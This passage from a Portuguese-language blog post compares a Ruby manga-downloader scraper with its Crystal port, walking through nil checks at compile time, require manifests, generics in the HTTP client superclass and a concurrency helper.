<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">page_link</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">get</span> <span class="n">page_link</span> <span class="k">do</span> <span class="o">|</span><span class="n">html</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">images</span> <span class="o">=</span> <span class="n">html</span><span class="o">.</span><span class="n">css</span><span class="p">(</span><span class="s1">&#39;#img&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">image_alt</span> <span class="o">=</span> <span class="n">images</span><span class="o">[</span><span class="mi">0</span><span class="o">][</span><span class="s2">&#34;alt&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">image_src</span> <span class="o">=</span> <span class="n">images</span><span class="o">[</span><span class="mi">0</span><span class="o">][</span><span class="s2">&#34;src&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">image_alt</span> <span class="o">&amp;&amp;</span> <span class="n">image_src</span>
</span></span><span class="line"><span class="cl">      <span class="n">extension</span>      <span class="o">=</span> <span class="n">image_src</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">last</span>
</span></span><span class="line"><span class="cl">      <span class="n">list</span>           <span class="o">=</span> <span class="n">image_alt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span><span class="o">.</span><span class="n">reverse</span>
</span></span><span class="line"><span class="cl">      <span class="n">title_name</span>     <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">4</span><span class="o">..-</span><span class="mi">1</span><span class="o">].</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">chapter_number</span> <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">3</span><span class="o">].</span><span class="n">rjust</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">page_number</span>    <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="n">rjust</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">uri</span> <span class="o">=</span> <span class="no">URI</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">image_src</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="no">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">uri</span><span class="o">.</span><span class="n">host</span><span class="p">,</span> <span class="n">uri</span><span class="o">.</span><span class="n">path</span><span class="p">,</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">title_name</span><span class="si">}</span><span class="s2">-Chap-</span><span class="si">#{</span><span class="n">chapter_number</span><span class="si">}</span><span class="s2">-Pg-</span><span class="si">#{</span><span class="n">page_number</span><span class="si">}</span><span class="s2">.</span><span class="si">#{</span><span class="n">extension</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="k">raise</span> <span class="no">Exception</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&#34;Couldn&#39;t find proper metadata alt in the image tag&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É impressionante como são parecidos, até mesmo nas chamadas de stdlib como <code>URI.parse</code> ou métodos de Array como <code>split</code>.</p>
<blockquote>
  <p>Quando você remove as anotações de tipo da versão Crystal, é 99% Ruby.</p>

</blockquote>
<p>Ruby pouco se importa se você está chamando um método em um objeto Nil - em tempo de compilação. Crystal faz checagens em tempo de compilação e, se ele acha que a chamada de método pode acontecer sobre Nil, simplesmente não compila. Isso é uma grande vitória para evitar bugs sutis.</p>
<p>Em Rails estamos acostumados com o famigerado método <code>#try</code>. O Ruby 2.3 introduziu o <a href="http://mitrev.net/ruby/2015/11/13/the-operator-in-ruby/"target="_blank" rel="noopener">safe navigation operator</a>.</p>
<p>Então, em Ruby 2.3 com Rails, ambas as linhas a seguir são válidas:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">obj</span><span class="o">.</span><span class="n">try</span><span class="p">(</span><span class="ss">:something</span><span class="p">)</span><span class="o">.</span><span class="n">try</span><span class="p">(</span><span class="ss">:something2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">obj</span><span class="o">&amp;.</span><span class="n">something</span><span class="o">&amp;.</span><span class="n">something2</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Em Crystal podemos fazer assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">obj</span><span class="o">.</span><span class="n">try</span><span class="p">(</span><span class="o">&amp;.</span><span class="n">something</span><span class="p">)</span><span class="o">.</span><span class="n">try</span><span class="p">(</span><span class="o">&amp;.</span><span class="n">something2</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então, é parecido. Use com cuidado.</p>
<p>Como mencionei antes, Crystal é próximo de Ruby, mas a intenção dele é ser uma linguagem própria, então não dá para simplesmente carregar Rubygems sem portar. Nesse exemplo eu não tenho Nokogiri para fazer parse de HTML. E é justamente aí que a stdlib brilha: Crystal vem com parsers de XML/HTML e JSON suficientemente bons. Então podemos fazer parse do HTML como XML e usar XPath puro.</p>
<p>No lugar do <code>Net::HTTP</code> do Ruby temos <code>HTTP::Client</code> (mas seus métodos e semântica são surpreendentemente similares).</p>
<p>Existem outras diferenças, por exemplo, esse é o arquivo principal que faz <code>require</code> de todos os outros em Ruby:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">...</span>
</span></span><span class="line"><span class="cl"><span class="vg">$LOAD_PATH</span><span class="o">.</span><span class="n">unshift</span> <span class="no">File</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="no">File</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="bp">__FILE__</span><span class="p">),</span> <span class="s2">&#34;lib&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/records.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/downloadr_client.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/concurrency.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/chapters.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/pages.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/page_image.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/image_downloader.rb&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;manga-downloadr/workflow.rb&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E essa é a versão Crystal do mesmo manifesto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;./cr_manga_downloadr/*&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">...</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por outro lado, precisamos ser um pouco mais explícitos em cada arquivo de código fonte Crystal e declarar as dependências específicas onde forem necessárias. Por exemplo, no arquivo <code>pages.cr</code> ele começa assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;./downloadr_client&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;xml&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">CrMangaDownloadr</span>
</span></span><span class="line"><span class="cl">  <span class="k">class</span> <span class="nc">Pages</span> <span class="o">&lt;</span> <span class="no">DownloadrClient</span><span class="p">(</span><span class="nb">Array</span><span class="p">(</span><span class="nb">String</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="o">...</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Crystal tem menos espaço para &ldquo;mágica&rdquo;, mas ainda assim consegue manter um alto nível de abstração.</p>
<h3>Uma palavra sobre Tipos<span class="hx:absolute hx:-mt-20" id="uma-palavra-sobre-tipos"></span>
    <a href="#uma-palavra-sobre-tipos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><blockquote>
  <p>Podemos passar a próxima década masturbando sobre tudo que existe sobre Tipos, e vai ser extremamente chato.</p>

</blockquote>
<p>A única coisa que você precisa entender: o compilador precisa conhecer a assinatura dos métodos das classes antes de poder usá-las. Não existe um componente em Runtime que possa introspectar objetos em tempo real, como em Ruby e em outras linguagens dinâmicas (até Objective-C/Swift consegue fazer mais coisa dinâmica do que Crystal).</p>
<p>Na maior parte do tempo o compilador do Crystal é inteligente o bastante para inferir os tipos para você, então você não precisa ser absolutamente explícito. Você deve seguir o que o compilador indica para saber quando usar Type Annotations.</p>
<p>O que pode te assustar de início é a necessidade de Type Annotations, entender Generics e por aí vai. O compilador vai cuspir cada dump de erro assustador, e você vai precisar se acostumar. A maioria dos erros assustadores costuma ser ou uma Type Annotation faltando, ou você tentando chamar um método em um possível objeto Nil.</p>
<p>Por exemplo, se eu mudar a linha a seguir no arquivo de teste <code>page_image_spec.cr</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># linha 8:</span>
</span></span><span class="line"><span class="cl"><span class="n">image</span> <span class="o">=</span> <span class="no">CrMangaDownloadr</span><span class="o">::</span><span class="no">PageImage</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&#34;www.mangareader.net&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="s2">&#34;/naruto/662/2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># linha 10:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># image.try(&amp;.host).should eq(&#34;i8.mangareader.net&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">image</span><span class="o">.</span><span class="n">host</span><span class="o">.</span><span class="n">should</span> <span class="n">eq</span><span class="p">(</span><span class="s2">&#34;i8.mangareader.net&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A linha comentada reconhece que a instância <code>image</code> pode vir como Nil, então adicionamos uma chamada explícita de <code>#try</code> no spec.</p>
<p>Se tentarmos compilar sem esse reconhecimento, esse é o erro que o compilador vai despejar em você:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ crystal spec                                                        [
Error in ./spec/cr_manga_downloadr/page_image_spec.cr:10: undefined method &#39;host&#39; for Nil (compile-time type is CrMangaDownloadr::Image?)

    image.host.should eq(&#34;i8.mangareader.net&#34;)
          ^~~~

=============================================================================

Nil trace:

  ./spec/cr_manga_downloadr/page_image_spec.cr:8

        image = CrMangaDownloadr::PageImage.new(&#34;www.mangareader.net&#34;).fetch(&#34;/naruto/662/2&#34;)
...</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tem um stacktrace gigante depois desse trecho, mas você só precisa prestar atenção nas primeiras linhas, que já dizem o que está errado: &ldquo;undefined method &lsquo;host&rsquo; for Nil (compile-time type is CrMangaDownloadr::Image?)&rdquo;. Se você sabe ler, na maior parte do tempo não vai ter problema nenhum.</p>
<p>Agora, <code>Chapters</code>, <code>Pages</code>, <code>PageImage</code> (todos subclasses de <code>DownloadrClient</code>) são basicamente a mesma coisa: fazem requisições com <code>HTTP::Client</code>.</p>
<p>É assim que a classe <code>Pages</code> é implementada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">...</span>
</span></span><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">CrMangaDownloadr</span>
</span></span><span class="line"><span class="cl">  <span class="k">class</span> <span class="nc">Pages</span> <span class="o">&lt;</span> <span class="no">DownloadrClient</span><span class="p">(</span><span class="nb">Array</span><span class="p">(</span><span class="nb">String</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">chapter_link</span> <span class="p">:</span> <span class="nb">String</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">get</span> <span class="n">chapter_link</span> <span class="k">do</span> <span class="o">|</span><span class="n">html</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">        <span class="n">nodes</span> <span class="o">=</span> <span class="n">html</span><span class="o">.</span><span class="n">xpath_nodes</span><span class="p">(</span><span class="s2">&#34;//div[@id=&#39;selectpage&#39;]//select[@id=&#39;pageMenu&#39;]//option&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">nodes</span><span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">node</span><span class="o">|</span> <span class="o">[</span><span class="n">chapter_link</span><span class="p">,</span> <span class="n">node</span><span class="o">.</span><span class="n">text</span> <span class="n">as</span> <span class="nb">String</span><span class="o">].</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#get</code> é um método da superclasse <code>DownloadrClient</code> que recebe uma String <code>chapter_link</code> e um bloco. O bloco recebe uma coleção de nós <code>html</code> já parseada e podemos brincar com ela, retornando um Array de Strings.</p>
<p>É por isso que temos o <code>(Array(String))</code> ao herdar de <code>DownloadrClient</code>. Vejamos como a superclasse <code>DownloadrClient</code> é implementada.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">CrMangaDownloadr</span>
</span></span><span class="line"><span class="cl">  <span class="k">class</span> <span class="nc">DownloadrClient</span><span class="p">(</span><span class="n">T</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="o">...</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">get</span><span class="p">(</span><span class="n">uri</span> <span class="p">:</span> <span class="nb">String</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span> <span class="p">:</span> <span class="no">XML</span><span class="o">::</span><span class="no">Node</span> <span class="o">-&gt;</span> <span class="n">T</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">response</span> <span class="o">=</span> <span class="vi">@http_client</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">case</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span>
</span></span><span class="line"><span class="cl">      <span class="k">when</span> <span class="mi">301</span>
</span></span><span class="line"><span class="cl">        <span class="n">get</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="o">[</span><span class="s2">&#34;Location&#34;</span><span class="o">]</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span>
</span></span><span class="line"><span class="cl">      <span class="k">when</span> <span class="mi">200</span>
</span></span><span class="line"><span class="cl">        <span class="n">parsed</span> <span class="o">=</span> <span class="no">XML</span><span class="o">.</span><span class="n">parse_html</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">body</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">block</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">parsed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="o">...</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você pode ver que essa classe recebe um Generic Type e usa ele como o tipo de retorno do bloco yieldado no método <code>#get</code>. O <code>XML::Node -&gt; T</code> é a declaração da assinatura do bloco, enviando <code>XML::Node</code> e recebendo aquilo que <code>T</code> for. Em tempo de compilação, imagine esse <code>T</code> sendo substituído por <code>Array(String)</code>. É assim que dá para criar classes capazes de lidar com qualquer número de Tipos diferentes sem precisar fazer overload para polimorfismo.</p>
<p>Se você vem de Java, C#, Go ou qualquer outra linguagem moderna estaticamente tipada, provavelmente já sabe o que é um Generic.</p>
<p>Você pode ir bem longe com Generics, veja como começa o nosso <code>Concurrency.cr</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Concurrency</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">...</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">collection</span> <span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="n">A</span><span class="p">)</span><span class="sc">?,</span> <span class="o">&amp;</span><span class="n">block</span> <span class="p">:</span> <span class="n">A</span><span class="p">,</span> <span class="n">C?</span> <span class="o">-&gt;</span> <span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)</span><span class="sc">?)</span> <span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)?</span>
</span></span><span class="line"><span class="cl">    <span class="n">results</span> <span class="o">=</span> <span class="o">[]</span> <span class="n">of</span> <span class="n">B</span>
</span></span><span class="line"><span class="cl">    <span class="n">collection</span><span class="o">.</span><span class="n">try</span> <span class="o">&amp;.</span><span class="n">each_slice</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">download_batch_size</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">batch</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">engine</span>  <span class="o">=</span> <span class="k">if</span> <span class="vi">@turn_on_engine</span>
</span></span><span class="line"><span class="cl">                  <span class="n">C</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">domain</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="n">channel</span> <span class="o">=</span> <span class="no">Channel</span><span class="p">(</span><span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)</span><span class="sc">?)</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">      <span class="n">batch</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="o">...</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
